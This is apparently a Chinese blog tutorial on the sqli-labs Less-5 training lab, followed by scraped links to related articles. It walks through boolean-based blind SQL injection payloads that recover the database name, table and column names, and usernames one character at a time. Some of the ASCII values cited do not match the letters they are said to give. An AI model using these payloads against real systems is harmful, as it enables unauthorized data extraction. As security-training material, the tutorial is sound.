逻辑注入:

1.尝试查询数据库:
(1)判断数据长度 -- 构造逻辑判断:and length(database())=8

当长度等于“8 ”时回显正常,所以数据库长度为“8”
(2)猜解数据库名称:
猜第一位:and ascii(left(database(),1))='100'

对照ascii表,115为 " s "及数据库的第一位是“ s ”
 
猜解第二位:and ascii(substr(database(),2,1))='111'

对照ascii表,101为“e”,及数据库的第二位是“e”
 
也可以使用mid()函数
 
以此类推:
…….
数据库为:security
 
 
2.尝试查询数据库版本:(只需判断出数据库版本是5.0以上还是以下)
用法:and left(version(),1)='5'

 
 
从以上得知数据库名为"security",并且数据库版本为5.0以上,那么我们利用此方式获取"security"数据库下的表:
 
3.获取数据库"security"的第一个表的第一个字符:
用法: and ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))='110'

对照ascii表"101"为"e",故数据库security中的第一个表的第一个字符为: " e "
 
获取数据库"security"的第一个表的第二个字符:
用法:and ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),2,1))='100'
对照ascii表,"109"为ascii码中的 "m",故第二个字符为“m”
 
以此类推:
……..
数据库 " security "的第一个表为 " email "
 
 
4.获取数据库 " security "的第二个表:
用法: and ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 1,1),1,1))='100'
对照ascii表,ascii码中" 114 "为字符“r”,故第二个表的第一个字符为 "r"
 
 
方法同上,同理可获得所有表:
及:
emails    
referers  
uagents   
users
 
5.获取users中的列:
这里有两种方法:
法一:and ascii(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),1,1))='100'
对照ascii表,“117”为“u”,故users表中第一个列名的第一个字符为“u”
 
以此类推
      …….
可以推理出所有列名,但我感觉是个大工程啊!!!
因为当一个users表中涵盖列名用以下:

 
法二:我们不妨这样想,既然我们猜解到表中含有users这个表
按常规思路,敏感数据如:username、password、passwd 按照这个思路我们可以进行逻辑注入
用法:and 1=(select 1 from information_schema.columns where table_name='users' and column_name regexp'^username')

 
解释:定义一个变量"1"在这"1"中进行查询,在users表中,查询正则匹配是否有‘username’这个列名有侧返回“1”的列数

此时返回 Subquery returns more than 1 row -->子查询返回超过 1 行
由此可知是存在"username"的,因为存在的比较多一行返回不过,所有报此错

 
 
 
而我们可以加点“料”,让它只在一行
用法:and 1=(select column_name from information_name.columns where table_name='users' and column_name regexp'^username' limit 0,1)
 
注入:
再一次确定了,是存在名为“username” 的列
 
在上面操作可以看到"username"存在。我们可以将"username"换成"password"等其他的项也是可以的。
 
 
6.获取users表中的内容
先看一下所有users表中所有的用户,以证明我的猜解是正确的

(1)猜解username中第一个用户名
用法: and ord((mid((select username from security.users limit 0,1),1,1)))='68'
//含义:查询从username中第一行开始只取一个的第一位字符

实战:
对照ascii表“68”,username列中的第一行的第一个用户名字符为"D"
 
以此类推
…….
可以猜解出,第一个用户为Dumb
 
那么怎么猜解第二个呢?
 
(2)猜解username中的第二个用户:
   用法: and ord(mid((select username from security.users limit 1,1),1,1))='65'  

  注入:

  对照ascii表,"65"为ascii表中的"A",故users表中第二个用户名的第一个字符为“A”               
 
以此类推……
接下来的用户名和密码都是
如此……                                                                                                                                                                                                  

sql注入 —sqli-labs/Less-5 逻辑注入的更多相关文章

  1. 网络安全学习阶段性总结:SQL注入|SSRF攻击|OS命令注入|身份验证漏洞|事物逻辑漏洞|目录遍历漏洞

    目录 SQL注入 什么是SQL注入? 掌握SQL注入之前需要了解的知识点 SQL注入情况流程分析 有完整的回显报错(最简单的情况)--检索数据: 在HTTP报文中利用注释---危险操作 检索隐藏数据: ...

  2. SQL注入测试平台 SQLol -5.DELETE注入测试

    访问首页的delete模块,http://127.0.0.1/sql/delete.php,开始对delete模块进行测试. delete语法: DELETE FROM [users] WHERE [ ...

  3. SQL注入测试平台 SQLol -3.INSERT注入测试

    访问首页的insert模块,http://127.0.0.1/sql/insert.php,开始对insert模块进行测试. insert语句: INSERT INTO [users] ([usern ...

  4. SQL注入测试平台 SQLol -2.SELECT注入测试

    前面,我们已经安装好了SQLol,打开http://localhost/sql/,首先跳转到http://localhost/sql/select.php,我们先从select模块进行测试. 一条完成 ...

  5. 【sql注入】简单实现二次注入

    [sql注入]简单实现二次注入 本文转自:i春秋社区 测试代码1:内容详情页面 [PHP] 纯文本查看 复制代码 01 02 03 04 05 06 07 08 09 10 11 12 13 14 1 ...

  6. Sql 注入详解:宽字节注入+二次注入

    sql注入漏洞 原理:由于开发者在编写操作数据库代码时,直接将外部可控参数拼接到sql 语句中,没有经过任何过滤就直接放入到数据库引擎中执行了. 攻击方式: (1) 权限较大时,直接写入webshel ...

  7. sql之将一个表中的数据注入另一个表中

    sql之将一个表中的数据注入另一个表中 需求:现有两张表t1,t2,现需要将t2的数据通过XZQHBM相同对应放入t1表中 t1: t2: 思路:left join 语句: select * from ...

  8. SQLI LABS Basic Part(1-22) WriteUp

    好久没有专门练SQL注入了,正好刷一遍SQLI LABS,复习巩固一波~ 环境: phpStudy(之前一直用自己搭的AMP,下了这个之后才发现这个更方便,可以切换不同版本的PHP,没装的小伙伴赶紧试 ...

  9. Sqli labs系列-less-3 。。。

    原本想着找个搜索型的注入玩玩,毕竟昨天被实力嘲讽了 = = . 找了好长时间,我才发现,我没有 = = ,网上搜了一个存在搜索型注入的源码,我看了好长时间,楞没看出来从哪里搜索注入了....估计是我太 ...

随机推荐

  1. 全网最详细的ReentrantReadWriteLock源码剖析(万字长文)

    碎碎念) 花了两天时间,终于把ReentrantReadWriteLock(读写锁)解析做完了.之前钻研过AQS(AbstractQueuedSynchronizer)的源码,弄懂读写锁也没有想象中那 ...

  2. Java偏向锁浅析

    偏向锁的定义 顾名思义,偏向锁会偏向第一个访问锁的线程. 如果在接下来的运行过程中,该锁没有被其他线程访问,这持有偏向锁的线程将永远不需要同步 如果在运行过程中,遇到了其他线程抢占锁,则持有偏向锁的线 ...

  3. Hive(六)【分区表、分桶表】

    目录 一.分区表 1.本质 2.创建分区表 3.加载数据到分区表 4.查看分区 5.增加分区 6.删除分区 7.二级分区 8.分区表和元数据对应得三种方式 9.动态分区 二.分桶表 1.创建分桶表 2 ...

  4. iOS UIWebview 长按图片,保存到本地相册

    我们所要解决的问题如题目所示:ios中,长按Webview中的图片,将图片保存到本地相册.解决方案:对load的html网页,执行js注入,通过在webview中执行js代码,来响应点击事件,通过js ...

  5. soapui pro 5.1.2 的破解方法

    Protection-4.6,和scz.key这两个文件能破解5.1.2的SoapUI 的Pro版本,mac 和 windows均可.1.拷贝Protection-4.6.jar到soapui安装的l ...

  6. 那些年采的python的坑

    1:使用virtualenvwrapper 新建虚拟环境时出现的错误 OSError: Command D:\file\python\virtu...r\Scripts\python.exe - se ...

  7. pytest_BDD + allure 自动化测试框架

    一.项目结构 --driverAction ----Assessement.py ----basicPageAction.py ----BrowserDriver.py --drivers ----c ...

  8. java基础---局部变量和全局变量

    1.成员变量的概念: 成员变量就是属于类的变量,在类中,方法体外定义的变量 1)成员变量又分为两种: 类变量(又称静态变量) 实例变量(又称非静态变量) 类变量(静态变量)   :是被static所修 ...

  9. C# 编写一个小巧快速的 Windows 动态桌面软件

    开源自己前段时间使用 C# 编写的 Windows 动态桌面软件,在接下来的博客我将描写一些技术细节和遇到的一些坑.这个软件可以把视频设置成桌面背景播放,不仅如此而且还可以把网页或一个网页文件设置成桌 ...

  10. Jenkins集成jira

    目录 一.Jenkins中Jira插件安装 二.Jenkins中Jira配置 一.Jenkins中Jira插件安装 点击 Manage Jenkins-->Manage Plugins--> ...